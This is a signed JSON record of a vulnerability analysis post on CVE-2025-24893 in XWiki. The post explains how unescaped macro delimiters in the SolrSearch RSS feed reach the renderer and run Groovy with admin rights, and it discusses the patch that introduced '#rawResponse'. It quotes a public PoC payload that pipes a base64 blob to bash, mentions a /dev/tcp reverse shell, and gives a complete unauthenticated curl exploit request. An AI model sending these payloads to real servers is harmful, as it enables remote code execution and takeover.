-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256
NEFARIOUSPLAN-CANONICAL-V1
{"body_md":"## DatabaseSearch wrote to the response. SolrSearchMacros wrote to the renderer.\n\nXWiki ships two parallel search backends. Both expose `media=rss` on a `bin/get/Main/` URL, both return `application/rss+xml`, both inline the caller's `text` query parameter into the feed's `
` and `` elements. `Main/DatabaseSearch.xml`, pre-patch, ended its RSS branch with eight lines:\n\n```velocity\n#set ($discard = $response.setContentType('application/rss+xml'))\n#set ($characterEncoding = 'utf-8')\n## Make sure the Character Encoding response header matches the character encoding used to write the response and\n## compute its length.\n#set ($discard = $response.setCharacterEncoding($characterEncoding))\n## We write the output directly to the response to avoid the execution of the Rendering Transformations.\n#set ($discard = $response.writer.print($feedOutput))\n## The content length is measured in bytes and one character can use more than one byte.\n#set ($discard = $response.setContentLength($feedOutput.getBytes($characterEncoding).size()))\n## Make sure the entire content is send back to the client.\n#set ($discard = $response.flushBuffer())\n## Make sure XWiki doesn't write any more content to the response.\n#set ($discard = $xcontext.setFinished(true))\n```\n\n`$response.writer.print($feedOutput)` writes the feed bytes directly to the HTTP response. `$xcontext.setFinished(true)` tells XWiki not to process the response any further. The comment above the call states what the call is doing and why: \"We write the output directly to the response to avoid the execution of the Rendering Transformations.\"\n\n`Main/SolrSearchMacros.xml`, pre-patch, ended its RSS branch with two:\n\n```velocity\n#set ($discard = $response.setContentType('application/rss+xml'))\n$xwiki.feed.getFeedOutput($feed, 'rss_2.0')\n```\n\nIt set the content type. It did not write to the response. It emitted the feed string as Velocity output. Velocity returned the string to XWiki. XWiki handed the string to the Rendering Transformations the DatabaseSearch comment was explicitly written to avoid.\n\n## The renderer is also a Groovy interpreter\n\nThe page test added by the patch documents the exact shape of what reaches the renderer:\n\n```java\nString unescapedText = \"}}}{{noscript}}\";\nString escapedText = \"<b>}}}{{noscript}}</b>\";\n\nthis.request.put(\"media\", \"rss\");\nthis.request.put(\"text\", unescapedText);\nthis.context.setAction(\"get\");\n// ...\nassertTrue(rssFeed.contains(\"search.rss [[\" + escapedText + \"]]\"));\n```\n\nThe caller's `text` is XML-escaped before being inlined into the feed. `` becomes `<b>`. The macro-delimiter sequence `}}}{{noscript}}` is not. XML escaping operates on `<`, `>`, `&`, `\"`. It does not operate on `{`, `}`. The XWiki rendering pipeline that runs over the returned feed string parses `{{...}}` as macro delimiters. The XML escape never saw them as anything to escape.\n\n`Main/SolrSearchMacros.xml`'s file header declares:\n\n```xml\nxwiki:XWiki.Admin\nxwiki:XWiki.Admin\n```\n\nXWiki resolves macro execution rights against the content author of the page the macro appears in. When the rendering pipeline encounters `{{groovy}}` in the feed string returned by SolrSearchMacros, it executes the Groovy as `XWiki.Admin`, which carries programming rights. The unauthenticated guest who sent the request becomes admin in the time it takes the renderer to walk the string it should never have seen.\n\n## The PoC closes brackets, opens macros\n\nRicardo Hamada's `CVE-2025-24-893.py`, uploaded 2026-05-28 with a User-Agent of `Mozilla/5.0 (Windows NT 10.0; Win64; x64) HTB-Exploit/1.0`, builds this payload:\n\n```python\npayload = (\n f\"}}}}}} {{{{async async=false}}}} {{{{groovy}}}} \"\n f\"String[] cmd = ['/bin/bash', '-c', 'echo {payload_base64} | base64 -d | bash']; \"\n f\"Runtime.getRuntime().exec(cmd); \"\n f\"{{{{/groovy}}}} {{{{/async}}}}\"\n)\n```\n\nAfter Python string formatting, the wire payload is:\n\n```\n}}}}}} {{async async=false}} {{groovy}} String[] cmd = ['/bin/bash', '-c', 'echo | base64 -d | bash']; Runtime.getRuntime().exec(cmd); {{/groovy}} {{/async}}\n```\n\n`}}}}}}` closes the bracket and macro contexts the renderer opened around the caller's `text` inside `search.rss [[]]`. `{{async async=false}}` opens an `async` block forced to synchronous evaluation; without `async=false`, the renderer would dispatch the inner macro to a background thread and the PoC's `requests.get(..., timeout=15)` would return without a reverse shell holding the connection. `{{groovy}}` opens the Groovy macro. `Runtime.getRuntime().exec(cmd)` runs whatever the operator put in the base64 blob, which the PoC fills with `bash -i >& /dev/tcp// 0>&1`.\n\nThe full request is a `GET`:\n\n```bash\ncurl -s \"http://target/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7D%7D%7D%7D+%7B%7Basync+async%3Dfalse%7D%7D+%7B%7Bgroovy%7D%7D+String%5B%5D+cmd+%3D+%5B%27%2Fbin%2Fbash%27%2C+%27-c%27%2C+%27...%27%5D%3B+Runtime.getRuntime%28%29.exec%28cmd%29%3B+%7B%7B%2Fgroovy%7D%7D+%7B%7B%2Fasync%7D%7D\"\n```\n\nNo cookie. No session. No header beyond the spoofed User-Agent. The endpoint `bin/get/Main/SolrSearch` is the public search-feed URL on every default XWiki distribution flavor since 5.3-milestone-2.\n\n## The patch is a name for the lesson the maintainers had already learned and forgotten\n\nThe patch commit, `67021db9b8ed26c2236a653269302a86bf01ef40`, is dated `Mon, 27 May 2024 14:14:54 +0200`, authored by Pierre Jeanjean, with the subject line `XWIKI-22149: Introduce a generic Velocity macro to set HTTP responses`. It touches ten files. The substantive new code is one macro in `templates/macros.vm`:\n\n```velocity\n#macro (rawResponse $data $contentType)\n #if (!$contentType)\n #set ($contentType = 'text/plain')\n #end\n #set ($characterEncoding = 'utf-8')\n #set ($discard = $response.setContentType($contentType))\n #set ($discard = $response.setCharacterEncoding($characterEncoding))\n #set ($discard = $response.writer.print($data))\n #set ($discard = $response.setContentLength($data.getBytes($characterEncoding).size()))\n #set ($discard = $response.flushBuffer())\n #set ($discard = $xcontext.setFinished(true))\n#end\n```\n\nFour other files in the same commit had the writer.print + setFinished pattern open-coded already; the patch collapses each to one line:\n\n| Pre-patch shape | File |\n|---|---|\n| writer.print + setFinished, with comment explaining why | `CKEditor/HTMLConverter.xml` |\n| writer.print + setFinished | `XWiki/Notifications/Code/NotificationRSSService.xml` |\n| writer.print + setFinished, with comment explaining why | `Main/DatabaseSearch.xml` |\n| writer.write, inline as `#jsonResponse` | `templates/macros.vm` (existing macro) |\n| **(missing)** `setContentType`, then emit feed string as Velocity output | `Main/SolrSearchMacros.xml` |\n\nThe XWiki team had implemented the pattern in four files across four subsystems. The CKEditor file's pre-patch comment reads:\n\n```\n## We write the output directly to the response to avoid the execution of the Rendering Transformations. Another\n## option would be to specify which Rendering Transformations to execute in the query string (XWIKI-13167).\n## See CKEDITOR-51: Icon transformations are saved by CKEditor\n```\n\nThe CKEDITOR-51 ticket cited inline is institutional memory of an earlier case where the rendering pipeline ran transforms over data that was supposed to be an HTTP response, and the transforms broke the data. The fix was to write directly to the response. The maintainers documented the fix where they applied it. SolrSearchMacros got the same threat model. It did not get the same code.\n\n`#rawResponse` is the name the maintainers gave the lesson. The patch is not a new technique. It is a label for a thing they had implemented four times, omitted once, and finally consolidated only after CVE-2025-24893 made the omission worth a refactor.\n\n## Parallel implementation gap, with design debt holding the primitive\n\nThis is a [parallel implementation gap](/patterns/parallel-implementation-gap). Two modules, `Main/DatabaseSearch.xml` and `Main/SolrSearchMacros.xml`, expose the same `media=rss` contract on the same wiki, both reachable on the same public endpoint surface, both inlining attacker-controlled text into the feed they emit. One imports the convention (write to response, set finished) and carries an inline comment naming why. The other does not. The CVE names the divergent one.\n\nThe shape recurs. Gitea's container-package handler ([CVE-2026-27771](/posts/gitea-cve-2026-27771-reqcontaineraccess-knows-no-container)) was one of ten parallel package handlers whose `ReqContainerAccess` middleware never imported the canonical `access_model.GetDoerRepoPermission` utility every other module had used for a decade. Camel's five sibling header filter strategies ([CVE-2026-40453](/posts/camel-cve-2026-40453-five-subclasses-needed-the-same-line)) needed the same `setLowerCase(true)` line the 2025 patch already added to the HTTP one. Each is the same shape: a security convention applied per-module by hand, omitted once, the omission named by a CVE.\n\nIt is also a [design debt driver](/patterns/design-debt-driver). The substrate, XWiki's choice to run macro transformations over Velocity output by default, holds the primitive. The CVE-2025-24893 patch closes one instance. The next handler a contributor writes for a new endpoint will start with `$response.setContentType(...)` and a line that emits the value, because that is what writing the obvious thing looks like in XWiki. `#rawResponse` is shorter than the eight lines it replaces. It is longer than the one line that ships the bug.\n\n## Timeline\n\nThe diff is on the public XWiki repository. The dates are not.\n\n| Date | Event |\n|---|---|\n| 2024-05-27 | Commit 67021db lands on `master`, refactoring five files into `#rawResponse` |\n| 2025-02-20 | CVE-2025-24893 published, GHSA-rr6p-3pfg-562j published, John Kwak of ZDI credited |\n| 2025-10-30 | CISA adds CVE-2025-24893 to the KEV catalog, due date 2025-11-20 |\n| 2026-05-28 | hasecto publishes `CVE-2025-24-893.py`, the HTB-flavored Python weaponizer the scanner found |\n\nNine months between the commit that names the fix and the CVE that names the bug. Eight months between the CVE and the KEV inclusion. Fifteen months between the patch and an unauthenticated guest pasting a working reverse shell into a public GitHub repo with a `📊 Detalhes da Vulnerabilidade` README and a User-Agent that names the lab it was tested against.\n\nPoC: [hasecto/CVE-2025-24893](https://github.com/hasecto/CVE-2025-24893)","closing_line":"The named macro changes which call is shorter. It does not change which one a developer writes first.","hook_md":"The patch for CVE-2025-24893 changes one line in `Main/SolrSearchMacros.xml`. The same commit refactors four other files. Three of those four already had the fix. The fourth, the one named in the CVE, did not.","post_id":512,"slug":"xwiki-cve-2025-24893-databasesearch-bypassed-the-renderer","title":"CVE-2025-24893: XWiki's DatabaseSearch Bypassed the Renderer. SolrSearchMacros Emitted Into It.","type":"initial","unreadable_sentence":"The maintainers documented the fix where they applied it. SolrSearchMacros got the same threat model. It did not get the same code."}
-----BEGIN PGP SIGNATURE-----
iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCaoc6ywAKCRDeZjl4jgkQ
JjbXAPsG2GNccoX7bkJUYwedfsqb+3RAW+59BRSSHBXjTXZOewD/cfAULcP01O3A
tqulIRvIClh80rWYbUFzmPkjjwUe8QM=
=Clsz
-----END PGP SIGNATURE-----